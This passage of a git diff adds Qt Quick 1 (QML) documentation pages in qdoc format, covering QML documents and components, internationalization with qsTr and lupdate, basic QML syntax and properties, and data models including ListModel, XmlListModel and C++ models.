+(or your QML C++ application), you will see output similar to this:
+
+\code
+QDeclarativeImportDatabase::addImportPath "/qt-sdk/imports"
+QDeclarativeImportDatabase::addImportPath "/qt-sdk/bin/QMLViewer.app/Contents/MacOS"
+QDeclarativeImportDatabase::addToImport 0x106237370 "." -1.-1 File as ""
+QDeclarativeImportDatabase::addToImport 0x106237370 "Qt" 4.7 Library as ""
+QDeclarativeImportDatabase::resolveType "Rectangle" = "QDeclarativeRectangle"
+\endcode
+
+
+\section1 Debugging with Qt Creator
+
+\l{http://qt.nokia.com/products/developer-tools}{Qt Creator} provides built-in
+support for QML debugging. QML projects and standalone C++ applications that
+utilize QML can be debugged on desktops as well as on remote devices.
+For more information, see the Qt Creator Manual.
+
+*/
diff --git a/doc/src/qtquick1/qdeclarativedocument.qdoc b/doc/src/qtquick1/qdeclarativedocument.qdoc
new file mode 100644
index 0000000000..aa9692f45c
--- /dev/null
+++ b/doc/src/qtquick1/qdeclarativedocument.qdoc
@@ -0,0 +1,143 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativedocuments.html
+\title QML Documents
+\brief A description of QML documents and the kind of content they contain.
+
+A QML document is a block of QML source code. QML documents generally correspond to files
+stored on a disk or at a location on a network, but they can also be constructed directly
+from text data.
+
+Here is a simple QML document:
+
+\snippet doc/src/snippets/declarative/qml-documents/non-trivial.qml document
+
+QML documents are always encoded in UTF-8 format.
+
+A QML document always begins with one or more import statements. To prevent elements
+introduced in later versions from affecting existing QML programs, the element types
+available within a document are controlled by the imported QML \l {Modules}. That is,
+QML is a \e versioned language.
+
+Syntactically a QML document is self contained; QML does \e not have a preprocessor that
+modifies the document prior to presentation to the QML runtime. \c import statements
+do not "include" code in the document, but instead instruct the QML runtime on how to
+resolve type references found in the document. Any type reference present in a QML
+document - such as \c Rectangle and \c ListView - including those made within an
+\l {Inline JavaScript}{JavaScript block} or \l {Property Binding}s, are \e resolved based exclusively on the
+import statements. QML does not import any modules by default, so at least one \c import
+statement must be present or no elements will be available!
+
+Each \c id value in a QML document must be unique within that document. They
+do not need to be unique across different documents as id values are
+resolved according to the document scope.
+
+
+\section1 Documents as Component Definitions
+
+A QML document defines a single, top-level \l {QDeclarativeComponent}{QML component}. A QML component
+is a template that is interpreted by the QML runtime to create an object with some predefined
+behaviour. As it is a template, a single QML component can be "run" multiple times to
+produce several objects, each of which are said to be \e instances of the component.
+
+Once created, instances are not dependent on the component that created them, so they can
+operate on independent data. Here is an example of a simple "Button" component (defined
+in a \c Button.qml file) that is instantiated four times by \c application.qml.
+Each instance is created with a different value for its \c text property:
+
+\table
+\row
+\o Button.qml
+\o application.qml
+
+\row
+\o \snippet doc/src/snippets/declarative/qml-documents/qmldocuments.qml document
+\o
+\qml
+import QtQuick 1.0
+
+Column {
+ spacing: 10
+
+ Button { text: "Apple" }
+ Button { text: "Orange" }
+ Button { text: "Pear" }
+ Button { text: "Grape" }
+}
+\endqml
+
+\image anatomy-component.png
+
+\endtable
+
+Any snippet of QML code can become a component, just by placing it in the file "<Name>.qml"
+where <Name> is the new element name, and begins with an \bold uppercase letter. Note that
+the case of all characters in the <Name> are significant on some filesystems, notably
+UNIX filesystems. It is recommended that the case of the filename matches the case of
+the component name in QML exactly, regardless of the platform the QML will be deployed to.
+
+These QML component files automatically become available as new QML element types
+to other QML components and applications in the same directory.
+
+
+
+\section1 Inline Components
+
+In addition to the top-level component that all QML documents define, and any reusable
+components placed in separate files, documents may also
+include \e inline components. Inline components are declared using the
+\l Component element, as can be seen in the first example above. Inline components share
+all the characteristics of regular top-level components and use the same \c import list as their
+containing QML document. Components are one of the most basic building blocks in QML, and are
+frequently used as "factories" by other elements. For example, the \l ListView element uses the
+\c delegate component as the template for instantiating list items - each list item is just a
+new instance of the component with the item specific data set appropriately.
+
+Like other \l {QML Elements}, the \l Component element is an object and must be assigned to a
+property. \l Component objects may also have an object id. In the first example on this page,
+the inline component is added to the \l Rectangle's \c resources list, and then
+\l {Property Binding} is used to assign the \l Component to the \l ListView's \c delegate
+property. While using property binding allows the \l Component object to be shared (for example,
+if the QML document contained multiple \l ListView's with the same delegate), in this case the
+\l Component could have been assigned directly to the \l ListView's \c delegate. The QML
+language even contains a syntactic optimization when assigning directly to a component property
+for this case where it will automatically insert the \l Component tag.
+
+These final two examples are behaviorally identical to the original document.
+
+\table
+\row
+\o
+\snippet doc/src/snippets/declarative/qml-documents/inline-component.qml document
+\o
+\snippet doc/src/snippets/declarative/qml-documents/inline-text-component.qml document
+\endtable
+
+\sa QDeclarativeComponent
+*/
diff --git a/doc/src/qtquick1/qdeclarativei18n.qdoc b/doc/src/qtquick1/qdeclarativei18n.qdoc
new file mode 100644
index 0000000000..5f86ff40ab
--- /dev/null
+++ b/doc/src/qtquick1/qdeclarativei18n.qdoc
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativei18n.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {Network Transparency}{Loading Resources in QML}
+\nextpage {QML Features}
+\title QML Internationalization
+
+
+Strings in QML can be marked for translation using the qsTr(), qsTranslate(),
+QT_TR_NOOP(), and QT_TRANSLATE_NOOP() functions.
+
+For example:
+\qml
+Text { text: qsTr("Pictures") }
+\endqml
+
+These functions are standard QtScript functions; for more details see
+QScriptEngine::installTranslatorFunctions().
+
+QML relies on the core internationalization capabilities provided by Qt. These
+capabilities are described more fully in:
+\list
+\o \l {Internationalization with Qt}
+\o \l {Qt Linguist Manual}
+\endlist
+
+You can test a translation with the \l {QML Viewer} using the -translation option.
+
+\section1 Example
+
+First we create a simple QML file with text to be translated. The string
+that needs to be translated is enclosed in a call to \c qsTr().
+
+hello.qml:
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+ Text { text: qsTr("Hello"); anchors.centerIn: parent }
+}
+\endqml
+
+Next we create a translation source file using lupdate:
+\code
+lupdate hello.qml -ts hello.ts
+\endcode
+
+Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide
+a translation and create the release file \c hello.qm.
+
+Finally, we can test the translation:
+\code
+qmlviewer -translation hello.qm hello.qml
+\endcode
+
+
+You can see a complete example and source code in the \l{declarative/i18n}{QML Internationalization example}.
+*/
diff --git a/doc/src/qtquick1/qdeclarativeintro.qdoc b/doc/src/qtquick1/qdeclarativeintro.qdoc
new file mode 100644
index 0000000000..97739e232c
--- /dev/null
+++ b/doc/src/qtquick1/qdeclarativeintro.qdoc
@@ -0,0 +1,404 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativeintroduction.html
+\title Introduction to the QML Language
+
+\tableofcontents
+
+QML is a declarative language designed to describe the user interface of a
+program: both what it looks like, and how it behaves. In QML, a user
+interface is specified as a tree of objects with properties.
+
+This introduction is meant for those with little or no programming
+experience. JavaScript is used as a scripting language in QML, so you may want
+to learn a bit more about it (see the \l{Javascript Guide}) before diving
+deeper into QML. It's also helpful to have a basic understanding of other web
+technologies like HTML and CSS, but it's not required.
+
+\section1 Basic QML Syntax
+
+QML looks like this:
+
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 200
+ height: 200
+ color: "blue"
+
+ Image {
+ source: "pics/logo.png"
+ anchors.centerIn: parent
+ }
+}
+\endqml
+
+Here we create two objects, a \l Rectangle object and its child
+\l Image object. Objects are specified by their type, followed by a pair of
+braces in between which additional data can be defined for the object, such as
+its property values and any child objects.
+
+Properties are specified with a \c {property: value} syntax. In the above example, we
+can see the \l Image object has a property named \c source, which has been assigned the
+value \c "pics/logo.png". The property and its value are separated by a colon.
+
+Properties can be specified one-per-line:
+
+\qml
+Rectangle {
+ width: 100
+ height: 100
+}
+\endqml
+
+or you can put multiple properties on a single line:
+
+\qml
+Rectangle { width: 100; height: 100 }
+\endqml
+
+When multiple property/value pairs are specified on a single line, they
+must be separated by a semicolon.
+
+The \c import statement imports the \c QtQuick \l{QML Modules}{module}, which contains all of the
+standard \l {QML Elements}. Without this import statement, the \l Rectangle
+and \l Image elements would not be available.
+
+
+\section1 Comments
+
+Commenting in QML is similar to JavaScript.
+\list
+\o Single line comments start with // and finish at the end of the line.
+\o Multiline comments start with /* and finish with *\/
+\endlist
+
+\snippet doc/src/snippets/declarative/comments.qml 0
+
+Comments are ignored by the engine. They are useful for explaining what you
+are doing; for referring back to at a later date, or for others reading
+your QML files.
+
+Comments can also be used to prevent the execution of code, which is
+sometimes useful for tracking down problems.
+
+\qml
+Text {
+ text: "Hello world!"
+ //opacity: 0.5
+}
+\endqml
+
+In the above example, the \l Text object will have normal opacity, since the
+line opacity: 0.5 has been turned into a comment.
+
+
+
+\section1 Object Identifiers
+
+Each object can be given a special \e id value that allows the object to be identified
+and referred to by other objects.
+
+For example, below we have two \l Text objects. The first \l Text object
+has an \c id value of "text1". The second \l Text object can now set its own
+\c text property value to be the same as that of the first object, by referring to
+\c text1.text:
+
+\qml
+import QtQuick 1.0
+
+Row {
+ Text {
+ id: text1
+ text: "Hello World"
+ }
+
+ Text { text: text1.text }
+}
+\endqml
+
+An object can be referred to by its \c id from anywhere within the \l {QML Documents}{component}
+in which it is declared. Therefore, an \c id value must always be unique within a single component.
+
+The \c id value is a special value for a QML object and should not be thought of as an
+ordinary object property; for example, it is not possible to access \c text1.id in the
+above example. Once an object is created, its \c id cannot be changed.
+
+Note that an \c id must begin with a lower-case letter or an underscore, and cannot contain
+characters other than letters, numbers and underscores.
+
+
+
+\section1 Expressions
+
+JavaScript expressions can be used to assign property values. For example:
+
+\qml
+Item {
+ width: 100 * 3
+ height: 50 + 22
+}
+\endqml
+
+These expressions can include references to other objects and properties, in which case
+a \l{Property Binding}{binding} is established: when the value of the expression changes,
+the property to which the expression is assigned is automatically updated to the
+new value. For example:
+
+\qml
+Item {
+ width: 300
+ height: 300
+
+ Rectangle {
+ width: parent.width - 50
+ height: 100
+ color: "yellow"
+ }
+}
+\endqml
+
+Here, the \l Rectangle object's \c width property is set relative to the width
+of its parent. Whenever the parent's width changes, the width of the \l Rectangle is
+automatically updated.
+
+
+
+\section1 Properties
+\target intro-properties
+
+\section2 Basic Property Types
+
+QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int,
+\c real, \c bool, \c string and \c color.
+
+\qml
+Item {
+ x: 10.5 // a 'real' property
+ state: "details" // a 'string' property
+ focus: true // a 'bool' property
+ // ...
+}
+\endqml
+
+QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that
+matches the property type. For example, the \c x property of item is a real, and if you try to assign
+a string to it you will get an error.
+
+\badcode
+Item {
+ x: "hello" // illegal!
+}
+\endcode
+
+Note that with the exception of \l {Attached Properties}, properties always begin with a lowercase
+letter.
+
+
+\section2 Property Change Notifications
+
+When a property changes value, it can send a signal to notify others of this change.
+
+To receive these signals, simply create a \e {signal handler} named with an \c on<Property>Changed
+syntax. For example, the \l Rectangle element has \l {Item::}{width} and \l {Rectangle::}{color}
+properties. Below, we have a \l Rectangle object that has defined two signal handlers,
+\c onWidthChanged and \c onColorChanged, which will automaticallly be called whenever these
+properties are modified:
+
+\qml
+Rectangle {
+ width: 100; height: 100
+
+ onWidthChanged: console.log("Width has changed to: " + width)
+ onColorChanged: console.log("Color has changed to: " + color)
+}
+\endqml
+
+Signal handlers are explained further \l {Signal Handlers}{below}.
+
+
+\section2 List properties
+
+List properties look like this:
+
+\qml
+Item {
+ children: [
+ Image {},
+ Text {}
+ ]
+}
+\endqml
+
+The list is enclosed in square brackets, with a comma separating the
+list elements. In cases where you are only assigning a single item to a
+list, you can omit the square brackets:
+
+\qml
+Image {
+ children: Rectangle {}
+}
+\endqml
+
+Items in the list can be accessed by index. See the \l{list}{list type} documentation
+for more details about list properties and their available operations.
+
+
+\section2 Default Properties
+
+Each object type can specify one of its list or object properties as its default property.
+If a property has been declared as the default property, the property tag can be omitted.
+
+For example this code:
+\qml
+State {
+ changes: [
+ PropertyChanges {},
+ PropertyChanges {}
+ ]
+}
+\endqml
+
+can be simplified to:
+
+\qml
+State {
+ PropertyChanges {}
+ PropertyChanges {}
+}
+\endqml
+
+because \c changes is the default property of the \c State type.
+
+\section2 Grouped Properties
+\target dot properties
+
+In some cases properties form a logical group and use a 'dot' or grouped notation
+to show this.
+
+Grouped properties can be written like this:
+\qml
+Text {
+ font.pixelSize: 12
+ font.bold: true
+}
+\endqml
+
+or like this:
+\qml
+Text {
+ font { pixelSize: 12; bold: true }
+}
+\endqml
+
+In the element documentation grouped properties are shown using the 'dot' notation.
+
+While you can bind the entire group at once, like below, note that setting any of the
+grouped properties will result in setting the group and thus invalidate the binding.
+\qml
+Text {
+ font: otherText.font
+}
+\endqml
+
+\section2 Attached Properties
+\target attached-properties
+
+Some objects attach properties to another object. Attached Properties
+are of the form \e {Type.property} where \e Type is the type of the
+element that attaches \e property.
+
+For example, the \l ListView element attaches the \e ListView.isCurrentItem property
+to each delegate it creates:
+
+\qml
+Component {
+ id: myDelegate
+ Text {
+ text: "Hello"
+ color: ListView.isCurrentItem ? "red" : "blue"
+ }
+}
+\endqml
+
+\qml
+ListView {
+ delegate: myDelegate
+}
+\endqml
+
+Another example of attached properties is the \l Keys element which
+attaches properties for handling key presses to
+any visual Item, for example:
+
+\qml
+Item {
+ focus: true
+ Keys.onSelectPressed: console.log("Selected")
+}
+\endqml
+
+\section1 Signal Handlers
+
+Signal handlers allow JavaScript code to be executed in response to an event. For
+example, the \l MouseArea element has an \l {MouseArea::}{onClicked} handler that can
+be used to respond to a mouse click. Below, we use this handler to print a
+message whenever the mouse is clicked:
+
+\qml
+Item {
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ console.log("mouse button clicked")
+ }
+ }
+}
+\endqml
+
+All signal handlers begin with \e "on".
+
+Some signal handlers include an optional parameter. For example
+the MouseArea \l{MouseArea::}{onPressed} signal handler has a \c mouse parameter
+that contains information about the mouse press. This parameter can be referred to in
+the JavaScript code, as below:
+
+\qml
+MouseArea {
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ onPressed: {
+ if (mouse.button == Qt.RightButton)
+ console.log("Right mouse button pressed")
+ }
+}
+\endqml
+*/
diff --git a/doc/src/qtquick1/qdeclarativemodels.qdoc b/doc/src/qtquick1/qdeclarativemodels.qdoc
new file mode 100644
index 0000000000..2399a6e2ad
--- /dev/null
+++ b/doc/src/qtquick1/qdeclarativemodels.qdoc
@@ -0,0 +1,505 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativemodels.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {QML Animation and Transitions}{Animation and Transitions}
+\nextpage {Presenting Data with Views}
+\target qmlmodels
+\title QML Data Models
+
+QML items such as ListView, GridView and \l Repeater require Data Models
+that provide the data to be displayed.
+These items typically require a \e delegate component that
+creates an instance for each item in the model. Models may be static, or
+have items modified, inserted, removed or moved dynamically.
+
+Data is provided to the delegate via named data roles which the
+delegate may bind to. Here is a ListModel with two roles, \e type and \e age,
+and a ListView with a delegate that binds to these roles to display their
+values:
+
+\snippet doc/src/snippets/declarative/qml-data-models/listmodel-listview.qml document
+
+If there is a naming clash between the model's properties and the delegate's
+properties, the roles can be accessed with the qualified \e model name instead.
+For example, if a \l Text element had \e type or \e age properties, the text in the
+above example would display those property values instead of the \e type and \e age values
+from the model item. In this case, the properties could have been referenced as
+\c model.type and \c model.age instead to ensure the delegate displays the
+property values from the model item.
+
+A special \e index role containing the index of the item in the model
+is also available to the delegate. Note this index is set to -1 if the item is removed from
+the model. If you bind to the index role, be sure that the logic
+accounts for the possibility of index being -1, i.e. that the item
+is no longer valid. (Usually the item will shortly be destroyed, but
+it is possible to delay delegate destruction in some views via a \c delayRemove
+attached property.)
+
+Models that do not have named roles (such as the QStringList model shown below)
+will have the data provided via the \e modelData role. The \e modelData role is also provided for
+models that have only one role. In this case the \e modelData role
+contains the same data as the named role.
+
+QML provides several types of data models among the built-in set of
+QML elements. In addition, models can be created with C++ and then
+made available to QML components.
+
+The views used to access data models are described in the
+\l{Presenting Data with Views} overview.
+The use of positioner items to arrange items from a model is covered in
+\l{Using QML Positioner and Repeater Items}.
+
+
+\keyword qml-data-models
+\section1 QML Data Models
+
+\section2 ListModel
+
+ListModel is a simple hierarchy of elements specified in QML. The
+available roles are specified by the \l ListElement properties.
+
+\snippet doc/src/snippets/declarative/qml-data-models/listelements.qml model
+
+The above model has two roles, \e name and \e cost. These can be bound
+to by a ListView delegate, for example:
+
+\snippet doc/src/snippets/declarative/qml-data-models/listelements.qml view
+
+ListModel provides methods to manipulate the ListModel directly via JavaScript.
+In this case, the first item inserted determines the roles available
+to any views that are using the model. For example, if an empty ListModel is
+created and populated via JavaScript, the roles provided by the first
+insertion are the only roles that will be shown in the view:
+
+\snippet doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml model
+\dots
+\snippet doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml mouse area
+
+When the MouseArea is clicked, \c fruitModel will have two roles, \e cost and \e name.
+Even if subsequent roles are added, only the first two will be handled by views
+using the model. To reset the roles available in the model, call ListModel::clear().
+
+
+\section2 XmlListModel
+
+XmlListModel allows construction of a model from an XML data source. The roles
+are specified via the \l XmlRole element.
+
+The following model has three roles, \e title, \e link and \e description:
+\qml
+XmlListModel {
+ id: feedModel
+ source: "http://rss.news.yahoo.com/rss/oceania"
+ query: "/rss/channel/item"
+ XmlRole { name: "title"; query: "title/string()" }
+ XmlRole { name: "link"; query: "link/string()" }
+ XmlRole { name: "description"; query: "description/string()" }
+}
+\endqml
+
+The \l{declarative/rssnews}{RSS News demo} shows how XmlListModel can
+be used to display an RSS feed.
+
+
+\section2 VisualItemModel
+
+VisualItemModel allows QML items to be provided as a model.
+
+This model contains both the data and delegate; the child items of a
+VisualItemModel provide the contents of the delegate. The model
+does not provide any roles.
+
+\snippet doc/src/snippets/declarative/models/visual-model-and-view.qml visual model and view
+
+Note that in the above example there is no delegate required.
+The items of the model itself provide the visual elements that
+will be positioned by the view.
+
+\keyword qml-c++-models
+\section1 C++ Data Models
+
+Models can be defined in C++ and then made available to QML. This is useful
+for exposing existing C++ data models or otherwise complex datasets to QML.
+
+A C++ model class can be defined as a QStringList, a QList<QObject*> or a
+QAbstractItemModel. The first two are useful for exposing simpler datasets,
+while QAbstractItemModel provides a more flexible solution for more complex
+models.
+
+
+\section2 QStringList-based model
+
+A model may be a simple QStringList, which provides the contents of the list via the \e modelData role.
+
+Here is a ListView with a delegate that references its model item's
+value using the \c modelData role:
+
+\snippet examples/declarative/modelviews/stringlistmodel/view.qml 0
+
+A Qt application can load this QML document and set the value of \c myModel
+to a QStringList:
+
+\snippet examples/declarative/modelviews/stringlistmodel/main.cpp 0
+
+The complete example is available in Qt's \l {declarative/modelviews/stringlistmodel}{examples/declarative/modelviews/stringlistmodel} directory.
+
+\note There is no way for the view to know that the contents of a QStringList
+have changed. If the QStringList changes, it will be necessary to reset
+the model by calling QDeclarativeContext::setContextProperty() again.
+
+
+\section2 QObjectList-based model
+
+A list of QObject* values can also be used as a model. A QList<QObject*> provides
+the properties of the objects in the list as roles.
+
+The following application creates a \c DataObject class that with
+Q_PROPERTY values that will be accessible as named roles when a
+QList<DataObject*> is exposed to QML:
+
+\snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 0
+\dots 4
+\snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 1
+\codeline
+\snippet examples/declarative/modelviews/objectlistmodel/main.cpp 0
+\dots
+
+The QObject* is available as the \c modelData property. As a convenience,
+the properties of the object are also made available directly in the
+delegate's context. Here, \c view.qml references the \c DataModel properties in
+the ListView delegate:
+
+\snippet examples/declarative/modelviews/objectlistmodel/view.qml 0
+
+Note the use of the fully qualified access to the \c color property.
+The properties of the object are not replicated in the \c model
+object, since they are easily available via the \c modelData
+object.
+
+The complete example is available in Qt's \l {declarative/modelviews/objectlistmodel}{examples/declarative/modelviews/objectlistmodel} directory.
+
+Note: There is no way for the view to know that the contents of a QList
+have changed. If the QList changes, it will be necessary to reset
+the model by calling QDeclarativeContext::setContextProperty() again.
+
+
+\section2 QAbstractItemModel
+
+A model can be defined by subclassing QAbstractItemModel. This is the
+best approach if you have a more complex model that cannot be supported
+by the other approaches. A QAbstractItemModel can also automatically
+notify a QML view when the model data has changed.
+
+The roles of a QAbstractItemModel subclass can be exposed to QML by calling
+QAbstractItemModel::setRoleNames(). The default role names set by Qt are:
+
+\table
+\header
+\o Qt Role
+\o QML Role Name
+\row
+\o Qt::DisplayRole
+\o display
+\row
+\o Qt::DecorationRole
+\o decoration
+\endtable
+
+Here is an application with a QAbstractListModel subclass named \c AnimalModel
+that has \e type and \e size roles. It calls QAbstractItemModel::setRoleNames() to set the
+role names for accessing the properties via QML:
+
+\snippet examples/declarative/modelviews/abstractitemmodel/model.h 0
+\dots
+\snippet examples/declarative/modelviews/abstractitemmodel/model.h 1
+\dots
+\snippet examples/declarative/modelviews/abstractitemmodel/model.h 2
+\codeline
+\snippet examples/declarative/modelviews/abstractitemmodel/model.cpp 0
+\codeline
+\snippet examples/declarative/modelviews/abstractitemmodel/main.cpp 0
+\dots
+
+This model is displayed by a ListView delegate that accesses the \e type and \e size
+roles:
+
+\snippet examples/declarative/modelviews/abstractitemmodel/view.qml 0
+
+QML views are automatically updated when the model changes. Remember the model
+must follow the standard rules for model changes and notify the view when
+the model has changed by using QAbstractItemModel::dataChanged(),
+QAbstractItemModel::beginInsertRows(), etc. See the \l {Model subclassing reference} for
+more information.
+
+The complete example is available in Qt's \l {declarative/modelviews/abstractitemmodel}{examples/declarative/modelviews/abstractitemmodel} directory.
+
+QAbstractItemModel presents a hierarchy of tables, but the views currently provided by QML
+can only display list data.
+In order to display child lists of a hierarchical model
+the VisualDataModel element provides several properties and functions for use
+with models of type QAbstractItemModel:
+
+\list
+\o \e hasModelChildren role property to determine whether a node has child nodes.
+\o \l VisualDataModel::rootIndex allows the root node to be specifed
+\o \l VisualDataModel::modelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex
+\o \l VisualDataModel::parentModelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex
+\endlist
+
+
+\section2 Exposing C++ Data Models to QML
+
+The above examples use QDeclarativeContext::setContextProperty() to set
+model values directly in QML components. An alternative to this is to
+register the C++ model class as a QML type from a QML C++ plugin using
+QDeclarativeExtensionPlugin. This would allow the model classes to be
+created directly as elements within QML:
+
+\table
+\row
+
+\o
+\code
+class MyModelPlugin : public QDeclarativeExtensionPlugin
+{
+public:
+ void registerTypes(const char *uri)
+ {
+ qmlRegisterType<MyModel>(uri, 1, 0,
+ "MyModel");
+ }
+}
+
+Q_EXPORT_PLUGIN2(mymodelplugin, MyModelPlugin);
+\endcode
+
+\o
+\qml
+MyModel {
+ id: myModel
+ ListElement { someProperty: "some value" }
+}
+\endqml
+
+\qml
+ListView {
+ width: 200; height: 250
+ model: myModel
+ delegate: Text { text: someProperty }
+}
+\endqml
+
+\endtable
+
+See \l {Tutorial: Writing QML extensions with C++} for details on writing QML C++
+plugins.
+
+
+
+\section1 Other Data Models
+
+
+\section2 An Integer
+
+An integer can be used to specify a model that contains a certain number
+of elements. In this case, the model does not have any data roles.
+
+The following example creates a ListView with five elements:
+\qml
+Item {
+ width: 200; height: 250
+
+ Component {
+ id: itemDelegate
+ Text { text: "I am item number: " + index }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: 5
+ delegate: itemDelegate
+ }
+
+}
+\endqml
+
+
+\section2 An Object Instance
+
+An object instance can be used to specify a model with a single object element. The
+properties of the object are provided as roles.
+
+The example below creates a list with one item, showing the color of the
+\e myText text. Note the use of the fully qualified \e model.color property
+to avoid clashing with \e color property of the Text element in the delegate.
+
+\qml
+Rectangle {
+ width: 200; height: 250
+
+ Text {
+ id: myText
+ text: "Hello"
+ color: "#dd44ee"
+ }
+
+ Component {
+ id: myDelegate
+ Text { text: model.color }
+ }
+
+ ListView {
+ anchors.fill: parent
+ anchors.topMargin: 30
+ model: myText
+ delegate: myDelegate
+ }
+}
+\endqml
+
+\section1 Accessing Views and Models from Delegates
+
+You can access the view for which a delegate is used, and its
+properties, by using ListView.view in a delegate on a ListView, or
+GridView.view in a delegate on a GridView, etc. In particular, you can
+access the model and its properties by using ListView.view.model.
+
+This is useful when you want to use the same delegate for a number of
+views, for example, but you want decorations or other features to be
+different for each view, and you would like these different settings to
+be properties of each of the views. Similarly, it might be of interest
+to access or show some properties of the model.
+
+In the following example, the delegate shows the property \e{language}
+of the model, and the color of one of the fields depends on the
+property \e{fruit_color} of the view.
+
+\snippet doc/src/snippets/declarative/models/views-models-delegates.qml rectangle
+
+Another important case is when some action (e.g. mouse click) in the
+delegate should update data in the model. In this case you can define
+a function in the model, e.g.:
+
+\code
+ setData(int row, const QString & field_name, QVariant new_value),
+\endcode
+
+...and call it from the delegate using:
+
+\js
+ ListView.view.model.setData(index, field, value)
+\endjs
+
+...assuming that \e{field} holds the name of the field which should be
+updated, and that \e{value} holds the new value.
+
+*/
+
+/*!
+\page qml-presenting-data.html
+\title Presenting Data with QML
+
+\section1 Introduction
+
+Qt Quick contains a set of standard items that can be used to present data in a
+number of different ways. For simple user interfaces,
+\l{Using QML Positioner and Repeater Items#Repeaters}{Repeaters} can be used
+in combination with
+\l{Using QML Positioner and Repeater Items#Positioners}{Positioners}
+to obtain pieces of data and arrange them in a user interface. However, when
+large quantities of data are involved, it is often better to use models with
+the standard views since these contain many built-in display and navigation
+features.
+
+\section1 Views
+
+Views are scrolling containers for collections of items. They are feature-rich,
+supporting many of the use cases found in typical applications, and can be
+customized to meet requirements on style and behavior.
+
+A set of standard views are provided in the basic set of Qt Quick
+graphical elements:
+
+\list
+\o \l{#ListView}{ListView} arranges items in a horizontal or vertical list
+\o \l{#GridView}{GridView} arranges items in a grid within the available space
+\o \l{#PathView}{PathView} arranges items on a path
+\endlist
+
+Unlike these items, \l WebView is not a fully-featured view item, and needs
+to be combined with a \l Flickable item to create a view that performs like
+a Web browser.
+
+\section2 ListView
+
+\l ListView shows a classic list of items with horizontal or vertical placing
+of items.
+
+\beginfloatright
+\inlineimage qml-listview-snippet.png
+\endfloat
+
+The following example shows a minimal ListView displaying a sequence of
+numbers (using an \l{QML Data Models#An Integer}{integer as a model}).
+A simple delegate is used to define an items for each piece of data in the
+model.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/listview/listview-snippet.qml document
+
+
+
+\section2 GridView
+
+\l GridView displays items in a grid like an file manager's icon view.
+
+\section2 PathView
+
+\l PathView displays items on a path, where the selection remains in
+the same place and the items move around it.
+
+\section1 Decorating Views
+
+\section2 Headers and Footers
+
+\section2 Sections
+
+\section2 Navigation
+
+In traditional user interfaces, views can be scrolled using standard
+controls, such as scroll bars and arrow buttons. In some situations, it
+is also possible to drag the view directly by pressing and holding a
+mouse button while moving the cursor. In touch-based user interfaces,
+this dragging action is often complemented with a flicking action, where
+scrolling continues after the user has stopped touching the view.
+
+\section1 Further Reading
+*/
diff --git a/doc/src/qtquick1/qdeclarativeperformance.qdoc b/doc/src/qtquick1/qdeclarativeperformance.qdoc
new file mode 100644
index 0000000000..03643e72a6
--- /dev/null
+++ b/doc/src/qtquick1/qdeclarativeperformance.qdoc
@@ -0,0 +1,150 @@
+/****************************************************************************
+**
